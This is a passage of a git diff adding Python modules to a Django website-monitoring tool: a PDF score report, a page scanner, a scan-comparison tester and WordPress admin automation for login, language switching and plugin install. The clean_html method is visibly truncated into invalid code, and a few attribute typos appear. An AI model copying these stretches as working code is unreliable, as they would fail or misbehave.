self.c.drawCentredString( + 5.5*inch, + 8.9*inch, + 'Global Score' + ) + self.c.setFont('Helvetica-Bold', 20) + self.c.drawCentredString( + 5.5*inch, + 9.25*inch, + f'{data["scores"][avg_score]}/100' + ) + + + # creating new page at limit --> 20 items + if logs_count >= 20: + self.end_page() + logs_count = 0 + begin_y = 9 + self.setup_page() + self.draw_page_title(f'{page_title} (continued)') + + # creating space btw sections + if c_count > 0 and logs_count != 0: + begin_y = (self.y - .2) + + + + # creating individual grade cards + grade_obj = self.get_score_data(data['scores'][cat]) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.roundRect( + .5*inch, + (begin_y - .25)*inch, + .5*inch, + .5*inch, + .12*inch, + stroke=0, + fill=1 + ) + self.c.setFillColor(HexColor(self.text_color)) + self.c.setFont('Helvetica', 16) + self.c.drawCentredString( + .75*inch, + (begin_y - .07)*inch, + grade_obj['grade'] + ) + + self.c.setFont('Helvetica', 16) + cat_string = self.get_cat_string(cat) + self.c.drawCentredString( + 2.3*inch, + (begin_y - .07)*inch, + cat_string + ) + + + p_count = 0 + for policy in data['audits'][cat]: + + if (begin_y - (space * p_count)) < 1: + break + + # setting up keys for dict(s) + if data_type == 'yellowlab': + policy_text = policy["policy"]["label"] + policy_value = policy["value"] + binary = False + if data_type == 'lighthouse': + policy_text = policy["title"] + policy_value = '' + if "displayValue" in policy: + if len(policy["displayValue"]) < 9: + policy_value = policy["displayValue"] + binary = True + + + if len(policy_text) < 53: + # creating log box + self.c.setFont('Helvetica', 9) + self.c.setFillColor(HexColor(f'{self.highlight_color}95', hasAlpha=True)) + self.c.rect( + log_margin*inch, + (begin_y - (space * p_count))*inch, + log_width*inch, log_height*inch, + stroke=0, + fill=1 + ) + + # get grade tab + grade_obj = self.get_score_data(policy['score'], is_binary=binary) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.rect( + log_margin*inch, + (begin_y - (space * p_count))*inch, + grade_tab_width*inch, + log_height*inch, + stroke=0, + fill=1 + ) + + # inserting data + self.c.setFillColor(HexColor(self.text_color)) + + # text + self.c.drawString( + (log_margin + text_margin)*inch, + ((begin_y - (space * p_count)) + text_space)*inch, + (f'{policy_text}') + ) + + # value + self.c.drawString( + (value_margin + text_margin + log_margin)*inch, + ((begin_y - (space * p_count)) + text_space)*inch, + (f'{policy_value}') + ) + + + p_count += 1 + logs_count += 1 + self.y = (begin_y - (space * p_count)) + + c_count += 1 + + + + self.end_page() + + + + + + + + + + + + + + + + + + + + + + + + + + + + def make_test_report(self): + + self.cover_page() + + if 'lighthouse' in self.report.type or 'full' in self.report.type: + self.create_data(data_type='lighthouse') + + if 'yellowlab' in self.report.type or 'full' in self.report.type: + self.create_data(data_type='yellowlab') + + if 'crux' in self.report.type or 'full' in self.report.type: + self.setup_page() + self.draw_page_title('CRUX') + self.end_page() + + self.publish_report() + return self.report + + + + + + + \ No newline at end of file diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py new file mode 100644 index 00000000..cbbb9fc0 --- /dev/null +++ b/app/api/utils/scanner.py @@ -0,0 +1,200 @@ +from .driver_s import driver_init as driver_s_init, quit_driver +from .driver_s import driver_wait +from .driver_p import get_data +from ..models import Site, Scan, Test +from django.forms.models import model_to_dict +from django.core.serializers.json import DjangoJSONEncoder +from .lighthouse import Lighthouse +from .yellowlab import Yellowlab +from .image import Image +from datetime import datetime +import time, os, sys, json, asyncio + + + +class Scanner(): + + def __init__( + self, + site=None, + scan=None, + configs=None, + ): + + if site == None and scan != None: + site = scan.site + + if configs is None: + configs = { + 'window_size': '1920,1080', + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'interval': 5, + 'min_wait_time': 10, + 'max_wait_time': 60, + } + + self.site = site + + if configs['driver'] == 'selenium': + self.driver = driver_s_init(window_size=configs['window_size'], device=configs['device']) + + if scan is not None: + self.scan = scan + else: + self.scan = None + + self.configs = configs + + + + def first_scan(self): + """ + Method to run a scan independently of an existing `scan` obj. + + returns -> `Scan` + """ + if self.scan is None: + self.scan = Scan.objects.create(site=self.site) + + if self.configs['driver'] == 'selenium': + self.driver.get(self.site.site_url) + html = self.driver.page_source + logs = self.driver.get_log('browser') + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + quit_driver(self.driver) + else: + driver_data = asyncio.run( + get_data( + url=self.site.site_url, + configs=self.configs + ) + ) + html = driver_data['html'] + logs = driver_data['logs'] + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + + lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() + yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() + + self.scan.html = html + self.scan.logs = logs + self.scan.images = images + self.scan.lighthouse = lh_data + self.scan.yellowlab = yl_data + self.scan.configs = self.configs + self.scan.time_completed = datetime.now() + self.scan.save() + first_scan = self.scan + + self.update_site_info(first_scan) + + return first_scan + + + + + + def second_scan(self): + """ + Method to run a scan and attach existing `scan` obj to it. + + returns -> `Scan` + """ + if not self.scan: + first_scan = Scan.objects.filter( + site=self.site + ).order_by('-time_created').first() + + else: + first_scan = self.scan + + # create second scan obj + second_scan = Scan.objects.create(site=self.site) + + if self.configs['driver'] == 'selenium': + self.driver.get(self.site.site_url) + html = self.driver.page_source + logs = self.driver.get_log('browser') + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + quit_driver(self.driver) + else: + driver_data = asyncio.run( + get_data( + url=self.site.site_url, + configs=self.configs + ) + ) + html = driver_data['html'] + logs = driver_data['logs'] + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + + lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() + yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() + + second_scan.paired_scan = first_scan + second_scan.html = html + second_scan.logs = logs + second_scan.lighthouse = lh_data + second_scan.images = images + second_scan.yellowlab = yl_data + second_scan.configs = self.configs + + second_scan.time_completed = datetime.now() + second_scan.save() + + first_scan.paried_scan = second_scan + first_scan.save() + + self.update_site_info(second_scan) + + return second_scan + + + + def update_site_info(self, scan): + + health = 'No Data' + badge = 'neutral' + d = 0 + score = 0 + + if scan.lighthouse['scores']['average'] is not None: + score += float(scan.lighthouse['scores']['average']) + d += 1 + if scan.yellowlab['scores']['globalScore'] is not None: + score += float(scan.yellowlab['scores']['globalScore']) + d += 1 + + if score != 0: + score = score / d + + if score >= 75: + health = 'Good' + badge = 'success' + elif 75 > score >= 60: + health = 'Okay' + badge = 'warning' + elif 60 > score: + health = 'Poor' + badge = 'danger' + + else: + if self.site.info['status']['score'] is not None: + score = float(self.site.info['status']['score']) + else: + score = None + + self.site.info['latest_scan']['id'] = str(scan.id) + self.site.info['latest_scan']['time_created'] = str(scan.time_created) + self.site.info['latest_scan']['time_completed'] = str(scan.time_completed) + self.site.info['lighthouse'] = scan.lighthouse['scores'] + self.site.info['yellowlab'] = scan.yellowlab['scores'] + self.site.info['status']['health'] = str(health) + self.site.info['status']['badge'] = str(badge) + self.site.info['status']['score'] = score + + self.site.save() + + return self.site \ No newline at end of file diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py new file mode 100644 index 00000000..a96159de --- /dev/null +++ b/app/api/utils/tester.py @@ -0,0 +1,585 @@ +from ..models import Site, Scan, Test +import time, os, sys, json, random, string, re +from difflib import SequenceMatcher, HtmlDiff, Differ +from datetime import datetime +from .image import Image + + + +class Tester(): + + def __init__(self, test): + self.test = test + self.pre_scan_html = [] + self.post_scan_html = [] + self.pre_scan_logs = [] + self.post_scan_logs = [] + self.delta_html_post = [] + self.delta_html_pre = [] + + + def clean_html(self): + pre_scan_html = self.test.pre_scan.html.splitlines() + post_scan_html = self.test.post_scan.html.splitlines() + + white_list = ['csrfmiddlewaretoken', '',] + tags = [ + '', '', new_line) + for sub in subStrings: + if sub not in tags: + self.pre_scan_html.append((sub+'>')) + + for line in post_scan_html: + for item in white_list: + if item in line: + post_scan_html.remove(line) + for line in post_scan_html: + new_line = line.replace('\t', '').replace('\\', '').replace('"\"', '') + subStrings = re.split('>', new_line) + for sub in subStrings: + if sub not in tags: + self.post_scan_html.append((sub+'>')) + + return + + + def clean_logs(self): + pre_scan_logs_json = self.test.pre_scan.logs + post_scan_logs_json = self.test.post_scan.logs + order = ("level", "source", "message") + + + for log in pre_scan_logs_json: + new_log = {} + for label in order: + for key in log: + if key == label: + new_log[label] = log.get(key) + self.pre_scan_logs.append(json.dumps(new_log)) + + + for log in post_scan_logs_json: + new_log = {} + for label in order: + for key in log: + if key == label: + new_log[label] = log.get(key) + self.post_scan_logs.append(json.dumps(new_log)) + + return + + + def compare_html(self): + self.clean_html() + pre_scan = self.pre_scan_html + post_scan = self.post_scan_html + html_raw_score = SequenceMatcher( + None, pre_scan, post_scan + ).ratio() + + return html_raw_score + + + + def compare_logs(self): + self.clean_logs() + pre_scan = list(self.pre_scan_logs) + post_scan = list(self.post_scan_logs) + logs_raw_score = SequenceMatcher( + None, pre_scan, post_scan + ).ratio() + + return logs_raw_score + + + def delta_html(self): + num_html_delta = len(self.pre_scan_html) - len(self.post_scan_html) + num_html_ratio = len(self.pre_scan_html) / len(self.post_scan_html) + if num_html_ratio > 1: + num_html_ratio = len(self.post_scan_html) / len(self.pre_scan_html) + + for line in self.post_scan_html: + if line not in self.pre_scan_html: + self.delta_html_post.append(line) + + for line in self.pre_scan_html: + if line not in self.post_scan_html: + self.delta_html_pre.append(line) + + + pre_micro_delta = self.post_proc_html( + self.delta_html_pre, + self.delta_html_post + ) + + post_micro_delta = self.post_proc_html( + self.delta_html_post, + self.delta_html_pre + ) + + + data = { + "num_html_delta": num_html_delta, + "delta_html_post": self.delta_html_post, + "delta_html_pre": self.delta_html_pre, + "num_html_ratio": num_html_ratio, + "pre_micro_delta": pre_micro_delta, + "post_micro_delta": post_micro_delta, + } + + return data + + + def post_proc_html(self, primary_list, secondary_list): + delta_parsed = [] + delta_parsed_diff = [] + secondary_str = ''.join(str(i) for i in secondary_list) + + # breaking html elements into small 8 chars chunks + for line in primary_list: + subStrings = re.findall('.{1,8}', line) + for sub in subStrings: + delta_parsed.append(sub) + + # checking if small chunk is in other scan + for block in delta_parsed: + if block != None and block != '' and block not in secondary_str: + delta_parsed_diff.append(block) + + data = { + "delta_parsed": delta_parsed, + "delta_parsed_diff": delta_parsed_diff, + } + + return data + + + + + def html_micro_diff_score(self, post_delta_parsed_diff): + + pre_delta_parsed_diff = [] + for line in self.pre_scan_html: + subStrings = re.findall('.{1,8}', line) + for sub in subStrings: + pre_delta_parsed_diff.append(sub) + + diff_length = len(pre_delta_parsed_diff) - len(post_delta_parsed_diff) + diff_score = diff_length / len(pre_delta_parsed_diff) + + return diff_score + + + + + def post_proc_logs(self, log): + log = json.loads(log) + log["message"].replace("\"", "\'") + letters = string.digits + timestamp = ''.join(random.choice(letters) for i in range(13)) + log['timestamp'] = timestamp + + return log + + + + + def delta_logs(self): + num_logs_delta = len(self.pre_scan_logs) - len(self.post_scan_logs) + + if len(self.post_scan_logs) > 0: + num_logs_ratio = len(self.pre_scan_logs) / len(self.post_scan_logs) + if num_logs_ratio > 1: + num_logs_ratio = 1 + else: + num_logs_ratio = 1 + + delta_logs_post = [] + for log in self.post_scan_logs: + if log not in self.pre_scan_logs: + log = self.post_proc_logs(log) + delta_logs_post.append(log) + + + delta_logs_pre = [] + for log in self.pre_scan_logs: + if log not in self.post_scan_logs: + log = self.post_proc_logs(log) + delta_logs_pre.append(log) + + data = { + "num_logs_delta": num_logs_delta, + "delta_logs_post": delta_logs_post, + "delta_logs_pre": delta_logs_pre, + "num_logs_ratio": num_logs_ratio, + } + + return data + + + + + + def delta_lighthouse(self): + try: + pre_seo = int(self.test.pre_scan.lighthouse["scores"]['seo']) + pre_accessibility = int(self.test.pre_scan.lighthouse["scores"]['accessibility']) + pre_performance = int(self.test.pre_scan.lighthouse["scores"]['performance']) + pre_best_practices = int(self.test.pre_scan.lighthouse["scores"]['best_practices']) + pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa']) + + post_seo = int(self.test.post_scan.lighthouse["scores"]['seo']) + post_accessibility = int(self.test.post_scan.lighthouse["scores"]['accessibility']) + post_performance = int(self.test.post_scan.lighthouse["scores"]['performance']) + post_best_practices = int(self.test.post_scan.lighthouse["scores"]['best_practices']) + post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa']) + + try: + pre_crux = int(self.test.pre_scan.lighthouse["scores"]['crux']) + post_crux = int(self.test.post_scan.lighthouse["scores"]['crux']) + crux_delta = post_crux - pre_crux + except: + pre_crux = None + post_crux = None + crux_delta = 0 + + seo_delta = post_seo - pre_seo + accessibility_delta = post_accessibility - pre_accessibility + performance_delta = post_performance - pre_performance + best_practices_delta = post_best_practices - pre_best_practices + pwa_delta = post_pwa - pre_pwa + + if post_crux is None: + current_average = ( + post_seo + post_accessibility + post_best_practices + + post_performance + post_pwa + )/5 + + old_average = ( + pre_seo + pre_accessibility + pre_best_practices + + pre_performance + pre_pwa + )/5 + + else: + current_average = ( + post_seo + post_accessibility + post_best_practices + + post_performance + post_pwa + post_crux + )/6 + + old_average = ( + pre_seo + pre_accessibility + pre_best_practices + + pre_performance + pre_pwa + pre_crux + )/6 + + average_delta = current_average - old_average + + except: + seo_delta = None + accessibility_delta = None + performance_delta = None + best_practices_delta = None + pwa_delta = None + crux_delta = None + current_average = None + average_delta = None + + data = { + "scores": { + "seo_delta": seo_delta, + "accessibility_delta": accessibility_delta, + "performance_delta": performance_delta, + "best_practices_delta": best_practices_delta, + "pwa_delta": pwa_delta, + "crux_delta": crux_delta, + "current_average": current_average, + "average_delta": average_delta, + } + } + + return data + + + + + + + def delta_yellowlab(self): + try: + pre_globalScore = int(self.test.pre_scan.yellowlab["scores"]['globalScore']) + pre_pageWeight = int(self.test.pre_scan.yellowlab["scores"]['pageWeight']) + pre_requests = int(self.test.pre_scan.yellowlab["scores"]['requests']) + pre_domComplexity = int(self.test.pre_scan.yellowlab["scores"]['domComplexity']) + pre_javascriptComplexity = int(self.test.pre_scan.yellowlab["scores"]['javascriptComplexity']) + pre_badJavascript = int(self.test.pre_scan.yellowlab["scores"]['badJavascript']) + pre_jQuery = int(self.test.pre_scan.yellowlab["scores"]['jQuery']) + pre_cssComplexity = int(self.test.pre_scan.yellowlab["scores"]['cssComplexity']) + pre_badCSS = int(self.test.pre_scan.yellowlab["scores"]['badCSS']) + pre_fonts = int(self.test.pre_scan.yellowlab["scores"]['fonts']) + pre_serverConfig = int(self.test.pre_scan.yellowlab["scores"]['serverConfig']) + + post_globalScore = int(self.test.post_scan.yellowlab["scores"]['globalScore']) + post_pageWeight = int(self.test.post_scan.yellowlab["scores"]['pageWeight']) + post_requests = int(self.test.post_scan.yellowlab["scores"]['requests']) + post_domComplexity = int(self.test.post_scan.yellowlab["scores"]['domComplexity']) + post_javascriptComplexity = int(self.test.post_scan.yellowlab["scores"]['javascriptComplexity']) + post_badJavascript = int(self.test.post_scan.yellowlab["scores"]['badJavascript']) + post_jQuery = int(self.test.post_scan.yellowlab["scores"]['jQuery']) + post_cssComplexity = int(self.test.post_scan.yellowlab["scores"]['cssComplexity']) + post_badCSS = int(self.test.post_scan.yellowlab["scores"]['badCSS']) + post_fonts = int(self.test.post_scan.yellowlab["scores"]['fonts']) + post_serverConfig = int(self.test.post_scan.yellowlab["scores"]['serverConfig']) + + pageWeight_delta = post_pageWeight - pre_pageWeight + requests_delta = post_requests - pre_requests + domComplexity_delta = post_domComplexity - pre_domComplexity + javascriptComplexity_delta = post_javascriptComplexity - pre_javascriptComplexity + badJavascript_delta = post_badJavascript - pre_badJavascript + jQuery_delta = post_jQuery - pre_jQuery + cssComplexity_delta = post_cssComplexity - pre_cssComplexity + badCSS_delta = post_badCSS - pre_badCSS + fonts_delta = post_fonts - pre_fonts + serverConfig_delta = post_serverConfig - pre_serverConfig + + average_delta = post_globalScore - pre_globalScore + current_average = post_globalScore + + except: + pageWeight_delta = None + requests_delta = None + domComplexity_delta = None + javascriptComplexity_delta = None + badJavascript_delta = None + jQuery_delta = None + cssComplexity_delta = None + badCSS_delta = None + fonts_delta = None + serverConfig_delta = None + average_delta = None + current_average = None, + + data = { + "scores": { + "pageWeight_delta": pageWeight_delta, + "requests_delta": requests_delta, + "domComplexity_delta": domComplexity_delta, + "javascriptComplexity_delta": javascriptComplexity_delta, + "badJavascript_delta": badJavascript_delta, + "jQuery_delta": jQuery_delta, + "cssComplexity_delta": cssComplexity_delta, + "badCSS_delta": badCSS_delta, + "fonts_delta": fonts_delta, + "serverConfig_delta": serverConfig_delta, + "average_delta": average_delta, + "current_average": current_average, + } + } + + return data + + + + def update_site_info(self, test): + site = test.site + site.info['latest_test']['id'] = str(test.id) + site.info['latest_test']['time_created'] = str(test.time_created) + site.info['latest_test']['time_completed'] = str(test.time_completed) + site.info['latest_test']['score'] = (round(test.score * 100) / 100) + site.save() + + return site + + + + + + + + def run_test(self, index=None): + + # default scores + html_score = 0 + num_html_ratio = 0 + micro_diff_score = 0 + logs_score = 0 + num_logs_ratio = 0 + lighthouse_score = 0 + yellowlab_score = 0 + images_score = 0 + + # default weights + html_score_w = 0 + num_html_w = 0 + micro_diff_w = 0 + logs_score_w = 0 + num_logs_w = 0 + delta_lh_w = 0 + delta_yl_w = 0 + images_w = 0 + + # default data + html_delta_context = None + logs_delta_context = None + lighthouse_data = None + yellowlab_data = None + images_data = None + + + + if 'html' in self.test.type or 'full' in self.test.type: + # scores + html_score = self.compare_html() + delta_html_data = self.delta_html() + num_html_ratio = delta_html_data['num_html_ratio'] + micro_diff_score = self.html_micro_diff_score( + delta_html_data['post_micro_delta']['delta_parsed_diff'] + ) + + # weights + html_score_w = 1 + num_html_w = 1 + micro_diff_w = 2 + + # data + html_delta_context = { + "pre_html_delta": delta_html_data['delta_html_pre'], + "post_html_delta": delta_html_data['delta_html_post'], + "pre_micro_delta": delta_html_data['pre_micro_delta'], + "post_micro_delta": delta_html_data['post_micro_delta'], + } + + + + if 'logs' in self.test.type or 'full' in self.test.type: + # scores + logs_score = self.compare_logs() + delta_logs_data = self.delta_logs() + num_logs_ratio = delta_logs_data['num_logs_ratio'] + + # weights + logs_score_w = .5 + num_logs_w = 2 + + # data + logs_delta_context = { + "pre_logs_delta": delta_logs_data['delta_logs_pre'], + "post_logs_delta": delta_logs_data['delta_logs_post'], + } + + + + if 'lighthouse' in self.test.type or 'full' in self.test.type: + # scores & data + lighthouse_data = self.delta_lighthouse() + lighthouse_avg = lighthouse_data['scores']['average_delta'] + if lighthouse_avg != None: + lighthouse_score = (100 + lighthouse_avg)/100 + + # weights + if lighthouse_score == None: + delta_lh_w = 0 + elif lighthouse_score > 0: + delta_lh_w = 1 + lighthouse_score = 1 + else: + delta_lh_w = 1 + + + + + if 'yellowlab' in self.test.type or 'full' in self.test.type: + # scores & data + yellowlab_data = self.delta_yellowlab() + yellowlab_avg = yellowlab_data['scores']['average_delta'] + if yellowlab_avg != None: + yellowlab_score = (100 + yellowlab_avg)/100 + + # weights + if yellowlab_score == None: + delta_yl_w = 0 + elif yellowlab_score > 0: + delta_yl_w = 1 + yellowlab_score = 1 + else: + delta_yl_w = 1 + + + + + if 'vrt' in self.test.type or 'full' in self.test.type: + # scores & data + images_data = Image().test(test=self.test, index=index) + if images_data['average_score'] != None: + images_score = images_data['average_score'] / 100 + + # weights + images_w = 4 + + + + total_w = ( + html_score_w + logs_score_w + num_html_w + + num_logs_w + delta_lh_w + micro_diff_w + + images_w + delta_yl_w + ) + + + score = (( + (html_score * html_score_w) + + (logs_score * logs_score_w) + + (num_logs_ratio * num_logs_w) + + (num_html_ratio * num_html_w) + + (lighthouse_score * delta_lh_w) + + (yellowlab_score * delta_yl_w) + + (micro_diff_score * micro_diff_w) + + (images_score * images_w) + ) / total_w) * 100 + + + print( + "Formula was --> ((" + str(html_score*html_score_w) + " + " + + str(logs_score*logs_score_w) + " + " + str(num_logs_ratio*num_logs_w) + " + " + + str(num_html_ratio*num_html_w) + " + " + str(lighthouse_score*delta_lh_w) + + " + " + str(micro_diff_score*micro_diff_w) + " + " + str(images_score * images_w)+ + " + " + str(yellowlab_score*delta_yl_w) + ") / " + str(total_w) + ") * 100 ===> " + str(score) + ) + + + self.test.time_completed = datetime.now() + self.test.html_delta = html_delta_context + self.test.logs_delta = logs_delta_context + self.test.lighthouse_delta = lighthouse_data + self.test.yellowlab_delta = yellowlab_data + self.test.images_delta = images_data + self.test.score = score + + self.test.save() + + self.update_site_info(self.test) + + return self.test + + + + + + + diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py new file mode 100644 index 00000000..beb5669d --- /dev/null +++ b/app/api/utils/wordpress.py @@ -0,0 +1,350 @@ +from .driver_s import driver_init, driver_wait +from selenium import webdriver +from selenium.webdriver.support.ui import Select +from selenium.webdriver.common.keys import Keys +import time + + + + + + + +class Wordpress(): + + + def __init__( + self, + login_url, + admin_url, + username, + password, + wait_time, + ): + self.login_url = login_url + self.username = username + self.password = password + if wait_time is None: + self.driver = driver_init() + else: + self.driver = driver_init(wait_time=wait_time) + self.native_lang = 'en' + + if not admin_url.endswith('/'): + admin_url = admin_url + '/' + self.admin_url = admin_url + + + + + def login(self): + + ''' + Tries to log into a WP site with given credentials. + + returns --> True / False + + ''' + + print('begining login method for ' + self.login_url) + try: + self.driver.get(self.login_url) + try: + self.driver.find_element_by_xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + self.driver.find_element_by_xpath( + '//*[@id="jetpack-sso-wrap"]/a[1]').click() + self.driver.find_element_by_xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + self.driver.find_element_by_link_text( + 'Login with username and password').click() + self.driver.find_element_by_xpath('//*[@id="user_login"]') + print('found login form') + except: + print('unable to locate login form at this path') + self.driver.quit() + return False + + + except: + print('unable to locate login form at this path') + self.driver.quit() + return False + + user_name_elem = self.driver.find_element_by_xpath('//*[@id="user_login"]') + user_name_elem.clear() + user_name_elem.send_keys(self.username) + time.sleep(1) + passworword_elem = self.driver.find_element_by_xpath('//*[@id="user_pass"]') + passworword_elem.clear() + passworword_elem.send_keys(self.password) + time.sleep(1) + passworword_elem.send_keys(Keys.RETURN) + + try: + + + try: + verify_email = self.driver.find_element_by_xpath('//*[@id="correct-admin-email"]') + print('need to verify email') + self.driver.execute_script('arguments[0].click();', verify_email) + print('clicked verify') + except: + pass + + print('done with login attempt') + + try: + self.driver.find_element_by_xpath('//*[@id="login_error"]') + print('found login error') + self.driver.refresh() + + print('trying login again') + user_name_elem = self.driver.find_element_by_xpath('//*[@id="user_login"]') + user_name_elem.clear() + user_name_elem.send_keys(self.username) + time.sleep(1) + passworword_elem = self.driver.find_element_by_xpath('//*[@id="user_pass"]') + passworword_elem.clear() + passworword_elem.send_keys(self.password) + time.sleep(1) + passworword_elem.send_keys(Keys.RETURN) + + try: + self.driver.find_element_by_xpath('//*[@id="login_error"]') + print('found login error again') + print('counld not login to this site') + except: + print('no login errors') + + except: + print('no login errors') + + except: + print('counld not login to this site') + self.driver.quit() + return False + + + # removing alerts + try: + deny_btn = self.driver.find_element_by_id('webpushr-deny-button') + self.driver.execute_script("arguments[0].click();", deny_btn) + print('removed alert') + except: + pass + + try: + # checking if url location is wp-admin + current_url = str(self.driver.current_url) + admin_link = '/wp-admin/' + print('current url -> ' + current_url) + if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url: + pass + else: + print('not in wp-admin - navigating there now') + admin_btn = self.driver.find_element_by_id('wp-admin-bar-dashboard') + admin_link = admin_btn.find_element_by_tag_name('a') + self.driver.execute_script("arguments[0].click();", admin_link) + print('clicked dashboard link') + + except: + print('could not login') + self.driver.quit() + return False + + + return True + + + + + + def begin_lang_check(self): + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = self.driver.find_element_by_xpath('//*[@id="menu-settings"]') + self.driver.execute_script("arguments[0].click();", settings_menu) + settings = self.driver.find_element_by_xpath('.//a[@href="'+s_url+'"]') + self.driver.execute_script("arguments[0].click();", settings) + print('clicked settings tab') + except: + current_url = self.driver.current_url + self.driver.get(current_url + s_url) + + # finding and recording current native language + lang_selector = self.driver.find_element_by_id('WPLANG') + optgroup = lang_selector.find_elements_by_tag_name('optgroup')[0] + selected_lang = optgroup.find_element_by_xpath('.//option[@selected="selected"]') + default_lang = selected_lang.get_attribute('lang') + default_lang_value = selected_lang.get_attribute('value') + print("defalut lang value is " + str(default_lang)) + + if default_lang != 'en': + + # selecting english + select = Select(lang_selector) + select.select_by_value('en_CA') + print('selected english') + + # saving settings + save_btn = self.driver.find_element_by_id('submit') + self.driver.execute_script("arguments[0].scrollIntoView();", save_btn) + self.driver.execute_script("arguments[0].click();", save_btn) + print('saved lang to english') + + self.native_lang = default_lang_value + return True + + else: + self.native_lang = 'en' + + + except: + print('error in changing language') + return False + + + + + + + def end_lang_check(self): + + if self.native_lang != 'en': + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = self.driver.find_element_by_xpath('//*[@id="menu-settings"]') + self.driver.execute_script("arguments[0].click();", settings_menu) + settings = self.driver.find_element_by_xpath('.//a[@href="'+s_url+'"]') + self.driver.execute_script("arguments[0].click();", settings) + print('clicked settings tab') + except: + current_url = self.driver.current_url + self.driver.get(current_url + '/' + s_url) + + # selecting native lang + lang_selector = self.driver.find_element_by_id('WPLANG') + select = Select(lang_selector) + select.select_by_value(self.native_lang) + print('selected native_lang') + + # saving settings + save_btn = self.driver.find_element_by_id('submit') + self.driver.execute_script("arguments[0].scrollIntoView();", save_btn) + self.driver.execute_script("arguments[0].click();", save_btn) + print('saved native lang') + + except: + self.driver.quit() + return False + + self.driver.quit() + return True + + + + def install_plugin(self, plugin_name): + + # setting url for link naving + plugin_menu_page = 'plugins.php' + add_plugin_page = 'plugin-install.php' + + # navigating to plugin page + try: + print('trying click method') + plugin_menu = self.driver.find_element_by_xpath('//*[@id="menu-plugins"]') + self.driver.execute_script("arguments[0].click();", plugin_menu) + p_url = 'plugins.php' + plugins = self.driver.find_element_by_xpath('.//a[@href="'+p_url+'"]') + self.driver.execute_script("arguments[0].click();", plugins) + print('clicked plugin menu') + + # looking for dependencies in plugin table + time.sleep(10) + form = self.driver.find_element_by_id('bulk-action-form') + pluginTable = form.find_element_by_tag_name('tbody') + self.driver.execute_script("arguments[0].scrollIntoView();", pluginTable) + print('scrolled to plugin table') + time.sleep(1) + tableText = pluginTable.text + + except: + print('trying link method for navigation') + try: + self.driver.get(self.admin_link + plugin_menu_page) + time.sleep(10) + # looking for dependencies in plugin table + time.sleep(10) + form = self.driver.find_element_by_id('bulk-action-form') + pluginTable = form.find_element_by_tag_name('tbody') + self.driver.execute_script("arguments[0].scrollIntoView();", pluginTable) + print('scrolled to plugin table') + time.sleep(1) + tableText = pluginTable.text + except: + print('unable to find plugin table') + self.driver.quit() + return False + + if plugin_name not in tableText: + try: + print('plugin not present, preparing to install') + + time.sleep(2) + print('navigating to add plugins page') + + try: + url = 'plugin-install.php' + add_plugin = self.driver.find_element_by_xpath('//a[@href="'+url+'"]') + self.driver.execute_script("arguments[0].click();", add_plugin) + print('clicked add plugin link') + time.sleep(5) + except: + self.driver.get(self.admin_url + add_plugin_page) + time.sleep(5) + + + # searching for plugin + search_form = self.driver.find_element_by_xpath('//input[@type="search"]') + search_form.clear() + search_form.send_keys(plugin_name) + time.sleep(1) + search_form.send_keys(Keys.RETURN) + time.sleep(3) + + ##### Clicking "install" plugin ###### + install = self.driver.find_element_by_xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + self.driver.execute_script("arguments[0].scrollIntoView();", install) + time.sleep(1) + self.driver.execute_script('arguments[0].click();', install) + print('Clicked -install plugin-') + time.sleep(30) + + + #### Clicking "activate" plugin ###### + self.driver.refresh() + time.sleep(3) + activate = self.driver.find_element_by_xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + self.driver.execute_script("arguments[0].scrollIntoView();", activate) + time.sleep(1) + self.driver.execute_script('arguments[0].click();', activate) + print('Clicked -Activate plugin-') + time.sleep(30) + print('Dependencies installed sucessfully') + return True + + except: + print('failed dependency installation') + self.driver.quit() + return False \ No newline at end of file diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py new file mode 100644 index 00000000..e70a758a --- /dev/null +++ b/app/api/utils/wordpress_p.py @@ -0,0 +1,387 @@ +from .driver_p import driver_init +from selenium import webdriver +from selenium.webdriver.support.ui import Select +from selenium.webdriver.common.keys import Keys +import time, asyncio + + + + + + + +class Wordpress(): + + + def __init__( + self, + login_url, + admin_url, + username, + password, + wait_time, + ): + self.login_url = login_url + self.username = username + self.password = password + self.native_lang = 'en' + + if not admin_url.endswith('/'): + admin_url = admin_url + '/' + self.admin_url = admin_url + + if wait_time is None: + self.wait_time = 30 + else: + self.wait_time = wait_time + + self.navWaitOpt = { + 'timeout': self.wait_time * 1000, + 'waitUntil': 'domcontentloaded' + } + + + async def login(self): + + ''' + Tries to log into a WP site with given credentials. + + returns --> True / False + + ''' + + print('begining login method for ' + self.login_url) + + + self.driver = await driver_init(wait_time=self.wait_time) + + # init page obj + self.page = await self.driver.newPage() + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': self.wait_time * 1000 + } + + try: + await self.page.goto(self.login_url, page_options) + try: + await self.page.xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + jetpack = await self.page.xpath('//*[@id="jetpack-sso-wrap"]/a[1]') + await jetpack[0].click() + await self.page.xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + login_link = await self.page.xpath("//a[contains(., 'Login with username and password')]") + await login_link[0].click() + await self.page.xpath('//*[@id="user_login"]') + print('found login form') + except: + 